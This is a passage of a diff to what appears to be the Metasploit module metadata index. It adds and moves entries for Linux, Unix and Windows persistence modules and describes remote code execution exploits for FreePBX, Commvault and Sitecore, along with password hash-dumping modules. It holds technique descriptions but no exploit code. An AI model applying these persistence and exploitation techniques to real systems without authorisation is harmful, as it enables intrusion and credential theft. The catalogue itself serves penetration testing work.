"ATT&CK-T1610"
],
"platform": "Linux",
"arch": "x86, x64, armle, aarch64, ppc, mipsle, mipsbe",
"rport": null,
"autofilter_ports": [],
"autofilter_services": [],
"targets": [
"Auto"
],
"mod_time": "2025-09-16 15:57:24 +0000",
"path": "/modules/exploits/linux/persistence/docker_image.rb",
"is_install_path": true,
"ref_name": "linux/persistence/docker_image",
"check": true,
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"Reliability": [
"repeatable-session"
],
"SideEffects": [
"artifacts-on-disk",
"config-changes",
"ioc-in-logs"
]
},
"session_types": [
"meterpreter"
],
"needs_cleanup": true,
"actions": []
},
"exploit_linux/persistence/init_openrc": {
"name": "Init OpenRC Persistence",
"fullname": "exploit/linux/persistence/init_openrc",
"aliases": [
"exploits/linux/local/service_persistence"
],
"rank": 600,
"disclosure_date": "2007-04-05",
"type": "exploit",
"author": [
"h00die"
],
"description": "This module will create a service on the box via OpenRC, and mark it for auto-restart.\n We need enough access to write service files and potentially restart services.\n Verified against alpine 3.21.2",
"references": [
"URL-https://www.digitalocean.com/community/tutorials/how-to-configure-a-linux-service-to-start-automatically-after-a-crash-or-reboot-part-1-practical-examples",
"ATT&CK-T1543",
"URL-https://wiki.alpinelinux.org/wiki/Writing_Init_Scripts",
"URL-https://wiki.alpinelinux.org/wiki/OpenRC",
"URL-https://github.com/OpenRC/openrc/blob/master/service-script-guide.md"
],
"platform": "Linux,Unix",
"arch": "cmd, x86, x64, armle, aarch64, ppc, mipsle, mipsbe",
"rport": null,
"autofilter_ports": [],
"autofilter_services": [],
"targets": [
"Automatic"
],
"mod_time": "2025-09-11 12:00:52 +0000",
"path": "/modules/exploits/linux/persistence/init_openrc.rb",
"is_install_path": true,
"ref_name": "linux/persistence/init_openrc",
"check": true,
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"Reliability": [
"repeatable-session",
"event-dependent"
],
"SideEffects": [
"artifacts-on-disk",
"config-changes"
]
},
"session_types": [
"shell",
"meterpreter"
],
"needs_cleanup": true,
"actions": []
},
"exploit_linux/persistence/init_systemd": {
"name": "Service SystemD Persistence",
"fullname": "exploit/linux/persistence/init_systemd",
"aliases": [
"exploits/linux/local/service_persistence"
],
"rank": 600,
"disclosure_date": "2010-03-30",
"type": "exploit",
"author": [
"h00die <mike@shorebreaksecurity.com>",
"Cale Black"
],
"description": "This module will create a service on the box, and mark it for auto-restart.\n We need enough access to write service files and potentially restart services\n Targets:\n CentOS 7\n Debian >= 7, <=8\n Fedora >= 15\n Ubuntu >= 15.04\n Verified on Ubuntu 18.04.3",
"references": [
"URL-https://www.digitalocean.com/community/tutorials/how-to-configure-a-linux-service-to-start-automatically-after-a-crash-or-reboot-part-1-practical-examples",
"URL-https://coreos.com/docs/launching-containers/launching/getting-started-with-systemd/",
"ATT&CK-T1543.002"
],
"platform": "Linux,Unix",
"arch": "cmd, x86, x64, armle, aarch64, ppc, mipsle, mipsbe",
"rport": null,
"autofilter_ports": [],
"autofilter_services": [],
"targets": [
"systemd",
"systemd user"
],
"mod_time": "2025-09-09 16:19:32 +0000",
"path": "/modules/exploits/linux/persistence/init_systemd.rb",
"is_install_path": true,
"ref_name": "linux/persistence/init_systemd",
"check": true,
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"Reliability": [
"repeatable-session",
"event-dependent"
],
"SideEffects": [
"artifacts-on-disk",
"config-changes"
]
},
"session_types": [
"shell",
"meterpreter"
],
"needs_cleanup": true,
"actions": []
},
"exploit_linux/persistence/init_systemd_override": {
"name": "Service SystemD override.conf Persistence",
"fullname": "exploit/linux/persistence/init_systemd_override",
"aliases": [],
"rank": 600,
"disclosure_date": "2010-03-30",
"type": "exploit",
"author": [
"h00die"
],
"description": "This module will create an override.conf file for a SystemD service on the box.\n The ExecStartPost hook is used to launch the payload after the service is started.\n We need enough access (typically root) to write in the /etc/systemd/system\n directory and potentially restart services.\n Verified on Ubuntu 22.04",
"references": [
"URL-https://www.freedesktop.org/software/systemd/man/latest/systemd.service.html",
"URL-https://askubuntu.com/a/659268",
"URL-https://wiki.archlinux.org/title/Systemd",
"ATT&CK-T1543.002"
],
"platform": "Linux,Unix",
"arch": "cmd, x86, x64, armle, aarch64, ppc, mipsle, mipsbe",
"rport": null,
"autofilter_ports": [],
"autofilter_services": [],
"targets": [
"systemd",
"systemd user"
],
"mod_time": "2025-09-26 15:00:09 +0000",
"path": "/modules/exploits/linux/persistence/init_systemd_override.rb",
"is_install_path": true,
"ref_name": "linux/persistence/init_systemd_override",
"check": true,
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"Reliability": [
"repeatable-session",
"event-dependent"
],
"SideEffects": [
"artifacts-on-disk",
"config-changes"
]
},
"session_types": [
"shell",
"meterpreter"
],
"needs_cleanup": true,
"actions": []
},
"exploit_linux/persistence/motd": {
"name": "update-motd.d Persistence",
"fullname": "exploit/linux/persistence/motd",
"aliases": [
"exploits/linux/local/motd_persistence"
],
"rank": 600,
"disclosure_date": "1999-01-01",
"type": "exploit",
"author": [
"Julien Voisin"
],
"description": "This module will add a script in /etc/update-motd.d/ in order to persist a payload.\n The payload will be executed with root privileges everytime a user logs in.\n Root privileges are likely required to write to /etc/update-motd.d/.\n Verified on Ubuntu 22.04",
"references": [
"URL-https://manpages.ubuntu.com/manpages/oracular/en/man5/update-motd.5.html"
],
"platform": "Linux,Unix",
"arch": "cmd, x86, x64, armle, aarch64, ppc, mipsle, mipsbe",
"rport": null,
"autofilter_ports": [],
"autofilter_services": [],
"targets": [
"Automatic"
],
"mod_time": "2025-09-09 14:29:07 +0000",
"path": "/modules/exploits/linux/persistence/motd.rb",
"is_install_path": true,
"ref_name": "linux/persistence/motd",
"check": true,
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"Reliability": [
"repeatable-session",
"event-dependent"
],
"SideEffects": [
"artifacts-on-disk"
]
},
"session_types": [
"shell",
"meterpreter"
],
"needs_cleanup": null,
"actions": []
},
"exploit_linux/persistence/rc_local": {
"name": "rc.local Persistence",
"fullname": "exploit/linux/persistence/rc_local",
"aliases": [
"exploits/linux/local/rc_local_persistence"
],
"rank": 600,
"disclosure_date": "1980-10-01",
"type": "exploit",
"author": [
"Eliott Teissonniere"
],
"description": "This module will edit /etc/rc.local in order to persist a payload.\n The payload will be executed on the next reboot.\n Verified on Ubuntu 18.04.3",
"references": [
"ATT&CK-T1037.004"
],
"platform": "Linux,Unix",
"arch": "cmd, x86, x64, armle, aarch64, ppc, mipsle, mipsbe",
"rport": null,
"autofilter_ports": [],
"autofilter_services": [],
"targets": [
"Automatic"
],
"mod_time": "2025-09-09 14:58:09 +0000",
"path": "/modules/exploits/linux/persistence/rc_local.rb",
"is_install_path": true,
"ref_name": "linux/persistence/rc_local",
"check": true,
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"Reliability": [
"repeatable-session",
"event-dependent"
],
"SideEffects": [
"artifacts-on-disk",
"config-changes"
]
},
"session_types": [
"shell",
"meterpreter"
],
"needs_cleanup": null,
"actions": []
},
"exploit_linux/persistence/yum_package_manager": {
"name": "Yum Package Manager Persistence",
"fullname": "exploit/linux/persistence/yum_package_manager",
"aliases": [
"exploits/linux/local/yum_package_manager_persistence"
],
"rank": 600,
"disclosure_date": "2003-12-17",
"type": "exploit",
"author": [
"Aaron Ringo"
],
"description": "This module will run a payload when the package manager is used.\n This module modifies a yum plugin to launch a binary of choice.\n grep -F 'enabled=1' /etc/yum/pluginconf.d/\n will show what plugins are currently enabled on the system.\n root persmissions are likely required.\n Verified on Centos 7.1",
"references": [],
"platform": "Linux,Unix",
"arch": "cmd, x86, x64, armle, aarch64, ppc, mipsle, mipsbe",
"rport": null,
"autofilter_ports": [],
"autofilter_services": [],
"targets": [
"Automatic"
],
"mod_time": "2025-09-18 16:15:24 +0000",
"path": "/modules/exploits/linux/persistence/yum_package_manager.rb",
"is_install_path": true,
"ref_name": "linux/persistence/yum_package_manager",
"check": true,
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"Reliability": [
"repeatable-session",
"event-dependent"
],
"SideEffects": [
"artifacts-on-disk",
"config-changes"
]
},
"session_types": [
"shell",
"meterpreter"
],
"needs_cleanup": true,
"actions": []
},
"exploit_linux/pop3/cyrus_pop3d_popsubfolders": {
"name": "Cyrus IMAPD pop3d popsubfolders USER Buffer Overflow",
"fullname": "exploit/linux/pop3/cyrus_pop3d_popsubfolders",
@@ -96413,7 +96783,7 @@
"Linux SPARC64",
"Linux s390x"
],
"mod_time": "2025-06-06 12:39:33 +0000",
"mod_time": "2025-09-17 11:04:28 +0000",
"path": "/modules/exploits/linux/samba/is_known_pipename.rb",
"is_install_path": true,
"ref_name": "linux/samba/is_known_pipename",
@@ -122349,62 +122719,6 @@
"needs_cleanup": true,
"actions": []
},
"exploit_multi/local/obsidian_plugin_persistence": {
"name": "Obsidian Plugin Persistence",
"fullname": "exploit/multi/local/obsidian_plugin_persistence",
"aliases": [],
"rank": 600,
"disclosure_date": "2022-09-16",
"type": "exploit",
"author": [
"h00die",
"Thomas Byrne"
],
"description": "This module searches for Obsidian vaults for a user, and uploads a malicious\n community plugin to the vault. The vaults must be opened with community\n plugins enabled (NOT restricted mode), but the plugin will be enabled\n automatically.\n\n Tested against Obsidian 1.7.7 on Kali, Ubuntu 22.04, and Windows 10.",
"references": [
"URL-https://docs.obsidian.md/Plugins/Getting+started/Build+a+plugin",
"URL-https://github.com/obsidianmd/obsidian-sample-plugin/tree/master",
"URL-https://forum.obsidian.md/t/can-obsidian-plugins-have-malware/34491",
"URL-https://help.obsidian.md/Extending+Obsidian/Plugin+security",
"URL-https://thomas-byrne.co.uk/research/obsidian-malicious-plugins/obsidian-research/"
],
"platform": "Linux,OSX,Windows",
"arch": "cmd",
"rport": null,
"autofilter_ports": [],
"autofilter_services": [],
"targets": [
"Auto",
"Linux",
"OSX",
"Windows"
],
"mod_time": "2024-12-14 17:38:29 +0000",
"path": "/modules/exploits/multi/local/obsidian_plugin_persistence.rb",
"is_install_path": true,
"ref_name": "multi/local/obsidian_plugin_persistence",
"check": true,
"post_auth": false,
"default_credential": false,
"notes": {
"Reliability": [
"repeatable-session"
],
"Stability": [
"crash-safe"
],
"SideEffects": [
"artifacts-on-disk",
"config-changes"
]
},
"session_types": [
"shell",
"meterpreter"
],
"needs_cleanup": null,
"actions": []
},
"exploit_multi/local/periodic_script_persistence": {
"name": "Periodic Script Persistence",
"fullname": "exploit/multi/local/periodic_script_persistence",
@@ -124741,7 +125055,7 @@
"Windows",
"Unix"
],
"mod_time": "2023-04-06 15:42:39 +0000",
"mod_time": "2025-09-23 09:58:50 +0000",
"path": "/modules/exploits/multi/misc/weblogic_deserialize_badattr_extcomp.rb",
"is_install_path": true,
"ref_name": "multi/misc/weblogic_deserialize_badattr_extcomp",
@@ -124790,7 +125104,7 @@
"Windows",
"Unix"
],
"mod_time": "2023-04-06 11:43:50 +0000",
"mod_time": "2025-09-23 09:58:50 +0000",
"path": "/modules/exploits/multi/misc/weblogic_deserialize_badattrval.rb",
"is_install_path": true,
"ref_name": "multi/misc/weblogic_deserialize_badattrval",
@@ -125252,6 +125566,172 @@
"session_types": false,
"needs_cleanup": null
},
"exploit_multi/persistence/at": {
"name": "at(1) Persistence",
"fullname": "exploit/multi/persistence/at",
"aliases": [
"exploits/unix/local/at_persistence"
],
"rank": 600,
"disclosure_date": "1997-01-01",
"type": "exploit",
"author": [
"Jon Hart <jon_hart@rapid7.com>"
],
"description": "This module executes a metasploit payload utilizing at(1) to execute jobs at a specific time. It should work out of the box\n with any UNIX-like operating system with atd running.\n Verified on Kali linux and OSX 13.7.4",
"references": [
"URL-https://linux.die.net/man/1/at",
"URL-https://www.geeksforgeeks.org/at-command-in-linux-with-examples/",
"ATT&CK-T1053.002",
"ATT&CK-T1053.001"
],
"platform": "Linux,OSX,Unix",
"arch": "cmd, x86, x64, armle, aarch64, ppc, mipsle, mipsbe",
"rport": null,
"autofilter_ports": [],
"autofilter_services": [],
"targets": [
"Automatic"
],
"mod_time": "2025-09-06 15:12:16 +0000",
"path": "/modules/exploits/multi/persistence/at.rb",
"is_install_path": true,
"ref_name": "multi/persistence/at",
"check": true,
"post_auth": false,
"default_credential": false,
"notes": {
"Reliability": [
"repeatable-session",
"event-dependent"
],
"Stability": [
"crash-safe"
],
"SideEffects": [
"artifacts-on-disk",
"config-changes"
]
},
"session_types": [
"meterpreter",
"shell"
],
"needs_cleanup": true,
"actions": []
},
"exploit_multi/persistence/cron": {
"name": "Cron Persistence",
"fullname": "exploit/multi/persistence/cron",
"aliases": [
"exploits/linux/local/cron_persistence"
],
"rank": 600,
"disclosure_date": "1979-07-01",
"type": "exploit",
"author": [
"h00die <mike@shorebreaksecurity.com>"
],
"description": "This module will create a cron or crontab entry to execute a payload.\n The module includes the ability to automatically clean up those entries to prevent multiple executions.\n syslog will get a copy of the cron entry.\n Verified on Ubuntu 22.04.1, MacOS 13.7.4",
"references": [
"ATT&CK-T1053.003"
],
"platform": "Linux,OSX,Unix",
"arch": "cmd, x86, x64, armle, aarch64, ppc, mipsle, mipsbe",
"rport": null,
"autofilter_ports": [],
"autofilter_services": [],
"targets": [
"Cron",
"User Crontab",
"OSX User Crontab",
"System Crontab"
],
"mod_time": "2025-09-18 11:48:17 +0000",
"path": "/modules/exploits/multi/persistence/cron.rb",
"is_install_path": true,
"ref_name": "multi/persistence/cron",
"check": true,
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"Reliability": [
"repeatable-session",
"event-dependent"
],
"SideEffects": [
"artifacts-on-disk",
"config-changes"
]
},
"session_types": [
"shell",
"meterpreter"
],
"needs_cleanup": true,
"actions": []
},
"exploit_multi/persistence/obsidian_plugin": {
"name": "Obsidian Plugin Persistence",
"fullname": "exploit/multi/persistence/obsidian_plugin",
"aliases": [
"exploits/multi/local/obsidian_plugin_persistence"
],
"rank": 600,
"disclosure_date": "2022-09-16",
"type": "exploit",
"author": [
"h00die",
"Thomas Byrne"
],
"description": "This module searches for Obsidian vaults for a user, and uploads a malicious\n community plugin to the vault. The vaults must be opened with community\n plugins enabled (NOT restricted mode), but the plugin will be enabled\n automatically.\n\n Tested against Obsidian 1.7.7 on Kali, Ubuntu 22.04, and Windows 10.",
"references": [
"URL-https://docs.obsidian.md/Plugins/Getting+started/Build+a+plugin",
"URL-https://github.com/obsidianmd/obsidian-sample-plugin/tree/master",
"URL-https://forum.obsidian.md/t/can-obsidian-plugins-have-malware/34491",
"URL-https://help.obsidian.md/Extending+Obsidian/Plugin+security",
"URL-https://thomas-byrne.co.uk/research/obsidian-malicious-plugins/obsidian-research/"
],
"platform": "Linux,OSX,Windows",
"arch": "cmd",
"rport": null,
"autofilter_ports": [],
"autofilter_services": [],
"targets": [
"Auto",
"Linux",
"OSX",
"Windows"
],
"mod_time": "2025-09-06 15:05:21 +0000",
"path": "/modules/exploits/multi/persistence/obsidian_plugin.rb",
"is_install_path": true,
"ref_name": "multi/persistence/obsidian_plugin",
"check": true,
"post_auth": false,
"default_credential": false,
"notes": {
"Reliability": [
"repeatable-session"
],
"Stability": [
"crash-safe"
],
"SideEffects": [
"artifacts-on-disk",
"config-changes"
]
},
"session_types": [
"shell",
"meterpreter"
],
"needs_cleanup": null,
"actions": []
},
"exploit_multi/php/ignition_laravel_debug_rce": {
"name": "Unauthenticated remote code execution in Ignition",
"fullname": "exploit/multi/php/ignition_laravel_debug_rce",
@@ -130512,6 +130992,66 @@
"session_types": false,
"needs_cleanup": null
},
"exploit_unix/http/freepbx_unauth_sqli_to_rce": {
"name": "FreePBX ajax.php unuthenticated SQLi to RCE",
"fullname": "exploit/unix/http/freepbx_unauth_sqli_to_rce",
"aliases": [],
"rank": 600,
"disclosure_date": "2025-08-28",
"type": "exploit",
"author": [
"Echo_Slow",
"Piotr Bazydlo",
"Sonny"
],
"description": "This module exploits an unauthenticated SQL injection flaw in FreePBX prior to versions 15.0.66, 16.0.89,\n and 17.0.3. The vulnerability lies in the /admin/ajax.php endpoint, which is accessible without\n authentication. Additionally, the database user created by FreePBX can schedule cronjobs, allowing\n remote code execution on the target system.",
"references": [
"CVE-2025-57819",
"URL-https://labs.watchtowr.com/you-already-have-our-personal-data-take-our-phone-calls-too-freepbx-cve-2025-57819/"
],
"platform": "Linux",
"arch": "cmd",
"rport": 80,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": [
"Unix Command"
],
"mod_time": "2025-09-22 17:34:00 +0000",
"path": "/modules/exploits/unix/http/freepbx_unauth_sqli_to_rce.rb",
"is_install_path": true,
"ref_name": "unix/http/freepbx_unauth_sqli_to_rce",
"check": true,
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"Reliability": [
"repeatable-session"
],
"SideEffects": [
"artifacts-on-disk",
"ioc-in-logs"
]
},
"session_types": false,
"needs_cleanup": null
},
"exploit_unix/http/laravel_token_unserialize_exec": {
"name": "PHP Laravel Framework token Unserialize Remote Command Execution",
"fullname": "exploit/unix/http/laravel_token_unserialize_exec",
@@ -131830,49 +132370,6 @@
"session_types": false,
"needs_cleanup": null
},
"exploit_unix/local/at_persistence": {
"name": "at(1) Persistence",
"fullname": "exploit/unix/local/at_persistence",
"aliases": [],
"rank": 600,
"disclosure_date": "1997-01-01",
"type": "exploit",
"author": [
"Jon Hart <jon_hart@rapid7.com>"
],
"description": "This module achieves persistence by executing payloads via at(1).",
"references": [],
"platform": "Unix",
"arch": "cmd",
"rport": null,
"autofilter_ports": [],
"autofilter_services": [],
"targets": [
"Automatic"
],
"mod_time": "2023-02-05 15:45:30 +0000",
"path": "/modules/exploits/unix/local/at_persistence.rb",
"is_install_path": true,
"ref_name": "unix/local/at_persistence",
"check": true,
"post_auth": false,
"default_credential": false,
"notes": {
"Reliability": [
"repeatable-session"
],
"Stability": [
"crash-safe"
],
"SideEffects": [
"artifacts-on-disk",
"config-changes"
]
},
"session_types": [],
"needs_cleanup": true,
"actions": []
},
"exploit_unix/local/chkrootkit": {
"name": "Chkrootkit Local Privilege Escalation",
"fullname": "exploit/unix/local/chkrootkit",
@@ -170799,6 +171296,71 @@
"session_types": false,
"needs_cleanup": null
},
"exploit_windows/http/commvault_rce_cve_2025_57790_cve_2025_57791": {
"name": "Commvault Command-Line Argument Injection to Traversal Remote Code Execution",
"fullname": "exploit/windows/http/commvault_rce_cve_2025_57790_cve_2025_57791",
"aliases": [],
"rank": 600,
"disclosure_date": "2025-08-19",
"type": "exploit",
"author": [
"Sonny Macdonald",
"Piotr Bazydlo",
"remmons-r7"
],
"description": "This module exploits an unauthenticated remote code execution exploit chain for Commvault,\n tracked as CVE-2025-57790 and CVE-2025-57791. A command-line injection permits unauthenticated\n access to the 'localadmin' account, which then facilitates code execution via expression\n language injection. CVE-2025-57788 is also leveraged to leak the target host name, which is\n necessary knowledge to exploit the remote code execution chain. This module executes in\n the context of 'NETWORK SERVICE' on Windows.",
"references": [
"CVE-2025-57790",
"CVE-2025-57791",
"CVE-2025-57788",
"URL-https://documentation.commvault.com/securityadvisories/CV_2025_08_1.html",
"URL-https://documentation.commvault.com/securityadvisories/CV_2025_08_2.html",
"URL-https://blog.eclecticiq.com/china-nexus-threat-actor-actively-exploiting-ivanti-endpoint-manager-mobile-cve-2025-4428-vulnerability"
],
"platform": "Windows",
"arch": "cmd",
"rport": 443,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": [
"Default"
],
"mod_time": "2025-09-15 11:19:49 +0000",
"path": "/modules/exploits/windows/http/commvault_rce_cve_2025_57790_cve_2025_57791.rb",
"is_install_path": true,
"ref_name": "windows/http/commvault_rce_cve_2025_57790_cve_2025_57791",
"check": true,
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"Reliability": [
"repeatable-session"
],
"SideEffects": [
"ioc-in-logs",
"artifacts-on-disk",
"config-changes"
]
},
"session_types": false,
"needs_cleanup": true
},
"exploit_windows/http/cyclope_ess_sqli": {
"name": "Cyclope Employee Surveillance Solution v6 SQL Injection",
"fullname": "exploit/windows/http/cyclope_ess_sqli",
@@ -180647,6 +181209,126 @@
"session_types": false,
"needs_cleanup": null
},
"exploit_windows/http/sitecore_xp_cve_2025_34510": {
"name": "Sitecore XP CVE-2025-34510 Post-Authentication Remote Code Execution",
"fullname": "exploit/windows/http/sitecore_xp_cve_2025_34510",
"aliases": [],
"rank": 600,
"disclosure_date": "2025-06-17",
"type": "exploit",
"author": [
"Piotr Bazydlo",
"msutovsky-r7"
],
"description": "This module exploits CVE-2025-34510, path traversal leading to remote code execution. The module exploits also CVE-2025-34509 - hardcoded credentials of ServicesAPI account - to gain foothold.",
"references": [
"CVE-2025-34510",
"URL-https://labs.watchtowr.com/is-b-for-backdoor-pre-auth-rce-chain-in-sitecore-experience-platform",
"URL-https://support.sitecore.com/kb?id=kb_article_view&sysparm_article=KB1003667"
],
"platform": "Windows",
"arch": "x86, x64",
"rport": 443,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": [
"Windows"
],
"mod_time": "2025-09-11 11:04:34 +0000",
"path": "/modules/exploits/windows/http/sitecore_xp_cve_2025_34510.rb",
"is_install_path": true,
"ref_name": "windows/http/sitecore_xp_cve_2025_34510",
"check": true,
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"Reliability": [
"repeatable-session"
],
"SideEffects": [
"ioc-in-logs",
"artifacts-on-disk"
]
},
"session_types": false,
"needs_cleanup": null
},
"exploit_windows/http/sitecore_xp_cve_2025_34511": {
"name": "Sitecore XP CVE-2025-34511 Post-Authentication File Upload",
"fullname": "exploit/windows/http/sitecore_xp_cve_2025_34511",
"aliases": [],
"rank": 600,
"disclosure_date": "2025-06-17",
"type": "exploit",
"author": [
"Piotr Bazydlo",
"msutovsky-r7"
],
"description": "This module exploits CVE-2025-34511, a file upload vulnerability in PowerShell extensions. The module exploits also CVE-2025-34509 - hardcoded credentials of ServicesAPI account - to gain foothold.",
"references": [
"CVE-2025-34511",
"URL-https://labs.watchtowr.com/is-b-for-backdoor-pre-auth-rce-chain-in-sitecore-experience-platform",
"URL-https://support.sitecore.com/kb?id=kb_article_view&sysparm_article=KB1003667"
],
"platform": "Windows",
"arch": "x86, x64",
"rport": 443,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": [
"Windows"
],
"mod_time": "2025-09-11 11:04:34 +0000",
"path": "/modules/exploits/windows/http/sitecore_xp_cve_2025_34511.rb",
"is_install_path": true,
"ref_name": "windows/http/sitecore_xp_cve_2025_34511",
"check": true,
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"Reliability": [
"repeatable-session"
],
"SideEffects": [
"ioc-in-logs",
"artifacts-on-disk"
]
},
"session_types": false,
"needs_cleanup": null
},
"exploit_windows/http/smartermail_rce": {
"name": "SmarterTools SmarterMail less than build 6985 - .NET Deserialization Remote Code Execution",
"fullname": "exploit/windows/http/smartermail_rce",
@@ -188934,54 +189616,6 @@
"needs_cleanup": null,
"actions": []
},
"exploit_windows/local/persistence_image_exec_options": {
"name": "Windows Silent Process Exit Persistence",
"fullname": "exploit/windows/local/persistence_image_exec_options",
"aliases": [],
"rank": 600,
"disclosure_date": "2008-06-28",
"type": "exploit",
"author": [
"Mithun Shanbhag",
"bwatters-r7"
],
"description": "Windows allows you to set up a debug process when a process exits.\n This module uploads a payload and declares that it is the debug\n process to launch when a specified process exits.",
"references": [
"URL-https://attack.mitre.org/techniques/T1183/",
"URL-https://blogs.msdn.microsoft.com/mithuns/2010/03/24/image-file-execution-options-ifeo/"
],
"platform": "Windows",
"arch": "",
"rport": null,
"autofilter_ports": [],
"autofilter_services": [],
"targets": [
"Automatic"
],
"mod_time": "2025-06-23 12:43:46 +0000",
"path": "/modules/exploits/windows/local/persistence_image_exec_options.rb",
"is_install_path": true,
"ref_name": "windows/local/persistence_image_exec_options",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
"Reliability": [
"unknown-reliability"
],
"Stability": [
"unknown-stability"
],
"SideEffects": [
"unknown-side-effects"
]
},
"session_types": [
"meterpreter"
],
"needs_cleanup": null,
"actions": []
},
"exploit_windows/local/persistence_service": {
"name": "Windows Persistent Service Installer",
"fullname": "exploit/windows/local/persistence_service",
@@ -197955,6 +198589,58 @@
"session_types": false,
"needs_cleanup": null
},
"exploit_windows/persistence/image_exec_options": {
"name": "Windows Silent Process Exit Persistence",
"fullname": "exploit/windows/persistence/image_exec_options",
"aliases": [
"exploits/windows/local/persistence_image_exec_options"
],
"rank": 600,
"disclosure_date": "2008-06-28",
"type": "exploit",
"author": [
"Mithun Shanbhag",
"bwatters-r7"
],
"description": "Windows allows you to set up a debug process when a process exits.\n This module uploads a payload and declares that it is the debug\n process to launch when a specified process exits.",
"references": [
"ATT&CK-T1183",
"URL-https://blogs.msdn.microsoft.com/mithuns/2010/03/24/image-file-execution-options-ifeo/"
],
"platform": "Windows",
"arch": "",
"rport": null,
"autofilter_ports": [],
"autofilter_services": [],
"targets": [
"Automatic"
],
"mod_time": "2025-09-26 15:44:31 +0000",
"path": "/modules/exploits/windows/persistence/image_exec_options.rb",
"is_install_path": true,
"ref_name": "windows/persistence/image_exec_options",
"check": true,
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"Reliability": [
"repeatable-session",
"event-dependent"
],
"SideEffects": [
"artifacts-on-disk",
"config-changes"
]
},
"session_types": [
"meterpreter"
],
"needs_cleanup": null,
"actions": []
},
"exploit_windows/pop3/seattlelab_pass": {
"name": "Seattle Lab Mail 5.5 POP3 Buffer Overflow",
"fullname": "exploit/windows/pop3/seattlelab_pass",
@@ -265898,14 +266584,16 @@
"theLightCosine <theLightCosine@metasploit.com>"
],
"description": "Post module to dump the password hashes for all users on an AIX system.",
"references": [],
"references": [
"ATT&CK-T1003.008"
],
"platform": "AIX",
"arch": "",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2025-04-26 16:28:15 +0000",
"mod_time": "2025-09-16 18:31:30 +0000",
"path": "/modules/post/aix/hashdump.rb",
"is_install_path": true,
"ref_name": "aix/hashdump",
@@ -265978,7 +266666,8 @@
"description": "Post Module to dump the password hashes for Android System. Root is required.\n To perform this operation, two things are needed. First, a password.key file\n is required as this contains the hash but no salt. Next, a sqlite3 database\n is needed (with supporting files) to pull the salt from. Combined, this\n creates the hash we need. Samsung based devices change the hash slightly.",
"references": [
"URL-https://www.pentestpartners.com/security-blog/cracking-android-passwords-a-how-to/",
"URL-https://hashcat.net/forum/thread-2202.html"
"URL-https://hashcat.net/forum/thread-2202.html",
"ATT&CK-T1003"
],
"platform": "Android",
"arch": "",
@@ -265986,7 +266675,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2025-04-27 01:56:49 +0000",
"mod_time": "2025-09-08 17:30:59 +0000",
"path": "/modules/post/android/gather/hashdump.rb",
"is_install_path": true,
"ref_name": "android/gather/hashdump",
@@ -266389,14 +267078,16 @@
"bcoles <bcoles@gmail.com>"
],
"description": "Post module to dump the password hashes for all users on a BSD system.",
"references": [],
"references": [
"ATT&CK-T1003.008"
],
"platform": "BSD",
"arch": "",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2025-04-27 02:09:41 +0000",
"mod_time": "2025-09-16 18:31:30 +0000",
"path": "/modules/post/bsd/gather/hashdump.rb",
"is_install_path": true,
"ref_name": "bsd/gather/hashdump",
@@ -267998,7 +268689,8 @@
"references": [
"URL-https://github.com/rbowes-r7/refreshing-mcp-tool",
"URL-https://www.rapid7.com/blog/post/2022/11/16/cve-2022-41622-and-cve-2022-41800-fixed-f5-big-ip-and-icontrol-rest-vulnerabilities-and-exposures/",
"URL-https://support.f5.com/csp/article/K97843387"
"URL-https://support.f5.com/csp/article/K97843387",
"ATT&CK-T1003"
],
"platform": "Linux,Unix",
"arch": "",
@@ -268006,7 +268698,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2025-05-13 09:23:28 +0000",
"mod_time": "2025-09-08 17:30:59 +0000",
"path": "/modules/post/linux/gather/f5_loot_mcp.rb",
"is_install_path": true,
"ref_name": "linux/gather/f5_loot_mcp",
@@ -268161,14 +268853,16 @@
"Carlos Perez <carlos_perez@darkoperator.com>"
],
"description": "Post Module to dump the password hashes for all users on a Linux System",
"references": [],
"references": [
"ATT&CK-T1003.008"
],
"platform": "Linux",
"arch": "",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2025-04-27 12:23:56 +0000",
"mod_time": "2025-09-16 18:31:30 +0000",
"path": "/modules/post/linux/gather/hashdump.rb",
"is_install_path": true,
"ref_name": "linux/gather/hashdump",
@@ -268205,7 +268899,8 @@
"description": "This module gathers the encrypted passwords stored by Password Manager\n Pro and decrypt them using key materials stored in multiple\n configuration files.",
"references": [
"URL-https://www.trustedsec.com/blog/the-curious-case-of-the-password-database/",
"URL-https://github.com/trustedsec/Zoinks/blob/main/zoinks.py"
"URL-https://github.com/trustedsec/Zoinks/blob/main/zoinks.py",
"ATT&CK-T1003"
],
"platform": "Linux,Unix",
"arch": "",
@@ -268213,7 +268908,7 @@
